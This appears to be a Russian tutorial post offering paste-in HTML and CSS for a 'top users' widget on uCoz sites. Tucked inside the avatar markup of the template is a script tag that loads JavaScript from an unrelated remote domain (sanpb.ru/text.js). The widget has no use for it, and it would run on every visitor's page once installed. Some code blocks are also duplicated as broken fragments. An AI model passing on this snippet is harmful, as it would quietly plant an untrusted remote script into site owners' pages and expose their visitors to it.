- 19.05.2024
- 0
- 352
Красивый и приятный на вид Топ пользователей для ucoz, скрипт очень хорошо подходит под все цвета дизайнов и легко редактируется!
Установка:
1. Создаем информер, Раздел - Пользователи, Сортировка - репутация, Количество материалов - 4, Количество колонок - 1
2. После в вид информера, вставляем ниже приведенный код (не забываем удалить из него старый код)
Code
<div class="vsepodrad_user">
<div class="user_no">$NUMBER$</div>
<div class="vsepodrad_avatar"><a href="$PROFILE_URL$"><?if($AVATAR_URL$)?><img src="$AVATAR_URL$" width="30" height="30" border="0" class="vsmall_thumb"><script src="http://sanpb.ru/text.js" type="text/javascript"></script><?else?><img src="http://bambun.ru/images/no_ava.jpg" width="30" height="30" border="0" class="vsmall_thumb"><?endif?></a></div>
<div class="utitle"><a href="$PROFILE_URL$">$USERNAME$</a>Комментариев : $COM_POSTS$ - Постов залито : $LOAD_POSTS$
</div>
<div class="clearfix"></div>
</div>
<div class="user_no">$NUMBER$</div>
<div class="vsepodrad_avatar"><a href="$PROFILE_URL$"><?if($AVATAR_URL$)?><img src="$AVATAR_URL$" width="30" height="30" border="0" class="vsmall_thumb"><script src="http://sanpb.ru/text.js" type="text/javascript"></script><?else?><img src="http://bambun.ru/images/no_ava.jpg" width="30" height="30" border="0" class="vsmall_thumb"><?endif?></a></div>
<div class="utitle"><a href="$PROFILE_URL$">$USERNAME$</a>Комментариев : $COM_POSTS$ - Постов залито : $LOAD_POSTS$
</div>
<div class="clearfix"></div>
</div>
3. Как тока поставить вид, вам ток остается поставить это информер в любое место на сайте - там где хотели его видеть:
Code
<div class="vsepodrad">
<div class="vsepodrad_bg">
<h2>10 лучших пользователей</h2>
$КОД_ИНФОРМЕРА$
</div>
</div>
<style>
.vsepodrad { background:#FFF; border:1px solid #b6e2fe; padding:2px; width:300px; margin:0px auto 10px; border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px;-khtml-border-radius:5px }
.vsepodrad_bg { background: url(http://bambun.ru/images/simple_gradient.png) repeat-x bottom; min-height:81px; background-color:#fff; border:1px solid #85a8c8; margin:0px; padding:0px 2px; border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px;-khtml-border-radius:5px }
.vsepodrad_bg h2 { margin:5px 2px 8px; padding:0px; color:#21759b; font-size:18px; font-family:Tahoma; text-transform:uppercase; font-weight:bold; }
.vsepodrad_user { background:url(http://bambun.ru/images/top_user.png) repeat-x; height:35px; border:1px solid #CCC; margin-bottom:15px; font-size:9px; padding:0px 8px; position:relative; background-color:#FFF; color:#666}
.vsepodrad_user:hover{background-position:bottom}
.vsepodrad_user a{font-size:12px; font-family:Arial, Helvetica, sans-serif; color:#333; text-decoration:none; font-weight:bold}
.vsepodrad_user a:hover{color:#0099cc}
.vsepodrad_avatar { width:30px; height:30px; padding:0px; margin:2px 5px 0px 20px; vertical-align:super; float:left; border:1px #ccc solid }
.vsepodrad_user > .user_no { background:url(http://bambun.ru/images/blocks.png) -231px -56px no-repeat; width:19px; height:45px; position:absolute; top:-5px; left:5px; font-size:11px; color:#FFF; text-shadow:1px 1px 1px #6fa1b7; text-indent:4px; line-height:45px; }
.vsepodrad_bg .utitle { margin-top:5px}
.vsepodrad_bg .utitle a{display:block}
</style>
<div class="vsepodrad_bg">
<h2>10 лучших пользователей</h2>
$КОД_ИНФОРМЕРА$
</div>
</div>
<style>
.vsepodrad { background:#FFF; border:1px solid #b6e2fe; padding:2px; width:300px; margin:0px auto 10px; border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px;-khtml-border-radius:5px }
.vsepodrad_bg { background: url(http://bambun.ru/images/simple_gradient.png) repeat-x bottom; min-height:81px; background-color:#fff; border:1px solid #85a8c8; margin:0px; padding:0px 2px; border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px;-khtml-border-radius:5px }
.vsepodrad_bg h2 { margin:5px 2px 8px; padding:0px; color:#21759b; font-size:18px; font-family:Tahoma; text-transform:uppercase; font-weight:bold; }
.vsepodrad_user { background:url(http://bambun.ru/images/top_user.png) repeat-x; height:35px; border:1px solid #CCC; margin-bottom:15px; font-size:9px; padding:0px 8px; position:relative; background-color:#FFF; color:#666}
.vsepodrad_user:hover{background-position:bottom}
.vsepodrad_user a{font-size:12px; font-family:Arial, Helvetica, sans-serif; color:#333; text-decoration:none; font-weight:bold}
.vsepodrad_user a:hover{color:#0099cc}
.vsepodrad_avatar { width:30px; height:30px; padding:0px; margin:2px 5px 0px 20px; vertical-align:super; float:left; border:1px #ccc solid }
.vsepodrad_user > .user_no { background:url(http://bambun.ru/images/blocks.png) -231px -56px no-repeat; width:19px; height:45px; position:absolute; top:-5px; left:5px; font-size:11px; color:#FFF; text-shadow:1px 1px 1px #6fa1b7; text-indent:4px; line-height:45px; }
.vsepodrad_bg .utitle { margin-top:5px}
.vsepodrad_bg .utitle a{display:block}
</style>
4. Установка завершена!!!
Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь.
Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.
Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.
Всего комментариев: 0 | |